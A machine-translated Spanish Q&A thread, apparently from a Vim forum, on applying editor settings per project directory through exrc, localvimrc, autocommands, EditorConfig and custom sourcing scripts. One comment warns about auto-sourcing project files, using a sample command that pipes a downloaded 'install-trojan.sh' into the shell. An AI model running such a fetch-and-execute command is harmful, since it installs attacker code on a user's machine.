Aplicar configuraciones solo a un árbol de directorios

33

En mi trabajo usamos un estándar tsde 2; mi preferencia personal es 4, que es lo que uso para mis proyectos de pasatiempo, y este otro proyecto que heredamos tiene la convención ts=8.

También hay algunas otras configuraciones que quiero establecer según el proyecto (por ejemplo, plegado). Basar esta configuración en el tipo de archivo o detectarlos automáticamente en función de lo que utiliza el archivo no son buenas opciones, ya que quiero respetar las convenciones de cada proyecto.

¿Puedo hacer que Vim use un archivo de configuración que se aplica a un proyecto (todo en un árbol de directorios) sin agregar una línea de modo a todos los archivos?

Martin Tournoij
fuente

Respuestas:

19

Hay algunas formas livianas de hacer esto.

  1. Busque un archivo de nombre de pila y búsquelo

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    El archivo está oculto en el ejemplo, pero eso es opcional.

  2. .vimrcArchivos locales (no es lo mismo que el complemento)

    set exrc
    

    Esto es similar a 1. pero el archivo se llamará ".vimrc".

    Una sugerencia común para acompañar esto es usar

    set secure
    

    que evita que un .vimrcarchivo haga cosas potencialmente peligrosas como ejecutar comandos de shell. La idea es que no le gustaría que vim lea un .vimrcarchivo escrito por otra persona que hace algo desagradable.

  3. Autocomandos que verifican la ruta actual

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    Esta es la opción que uso. No cambio mucho entre diferentes proyectos, así que YMMV, pero si solo quieres hacer una o dos cosas en función de la ruta y mantenerlo en tu lugar, .vimrcesto es agradable y simple.

Praxeolítico
fuente
Tenga en cuenta que las opciones 1 y 2 tienen la misma limitación descrita en este comentario : no se aplica recursivamente a los subdirectorios.
15

Yo uso localvimrc para este propósito.

Coloque un .lvimrccon su configuración de proyecto dentro de su proyecto y esta configuración anulará la configuración en .vimrc.

Por defecto, se le preguntará si desea obtener este archivo, por ejemplo:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

Esto es para evitar el abastecimiento de archivos vimrc aleatorios (no confiables). Si le resulta molesto, puede configurar una lista blanca de .lvimrcarchivos con g:localvimrc_whitelist:

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

O simplemente puede deshabilitar la solicitud de confirmación por completo con set g:localvimrc_ask = 0. Sin embargo, esto no es recomendable.

OrangeTux
fuente
5

Configuración central

Si está bien configurar los comandos específicos / excepciones locales de forma centralizada, puede poner tales autocmds en su ~/.vimrc:

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

Es importante usar en :setlocallugar de :set, y de la misma manera :map <buffer> ...y :command! -buffer ....

Por otro lado, si desea que la configuración específica se almacene con el proyecto (y no desea incrustar esto en todos los archivos a través de modelines ), tiene las dos opciones siguientes:

Configuración local con funcionalidad incorporada

Si siempre inicia Vim desde el directorio raíz del proyecto, el incorporado

:set exrc

permite la lectura de un .vimrc archivo desde el directorio actual. Puede colocar los :set ts=4 sw=4comandos allí.

Configuración local a través del complemento

De lo contrario, necesita la ayuda de un complemento; hay varios en vim.org; Puedo recomendar el complemento localrc , que incluso permite la configuración local específica del tipo de archivo.

Tenga en cuenta que leer la configuración del sistema de archivos tiene implicaciones de seguridad; es posible que desee :set secure.

Ingo Karkat
fuente
2
Tenga en cuenta que .exrcson extremadamente limitados: la noción del proyecto se detiene en el directorio actual, es decir, los archivos en subdirectorios no pertenecen al proyecto.
Luc Hermitte
4

Existe el proyecto Editor Config que le permite definir configuraciones de nivel de proyecto como configuraciones de tabulación junto con nuevos estilos de línea y otras cosas. Hay muchos enchufes para todo tipo de editores, incluido vim . También le permite definir configuraciones para diferentes tipos de archivos.

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2
PetersenDidIt
fuente
0

Escribí esto y lo agregué a mi .vimrc para permitirme colocar archivos .vimsettings en proyectos y subproyectos.

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))
Kent A.
fuente
Si bien esto funciona, puede considerarse peligroso ya que solo está buscando un archivo y ejecutando todos los comandos en él (incluidos los comandos de shell, como system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij
0

Quería esto, así que lo implementé localmente. No estoy tan preocupado con la "ejecución de código aleatorio" pero esto puede funcionar para necesidades simples. Ajuste los nombres de archivo según sea necesario.

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

Esto local.vimrces en realidad un enlace simbólico a un archivo en mi colección sustancial de archivos vimrc por compañía que puedo mantener en el control de origen en otro lugar, lo que facilita mover mi configuración completa a otras máquinas o si visito una compañía en el sitio o algo . Se podrían usar configuraciones en cascada, pero en la práctica no necesito esa funcionalidad. También me conecto F8para abrir ese archivo encontrado y mi "principal".vimrc en una nueva pestaña ...

Dentro de esas configuraciones locales, dado que se analizan para cada archivo abierto, asegúrese de establecer asignaciones y configuraciones en buffer-local. P.ej

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
dash-tom-bang
fuente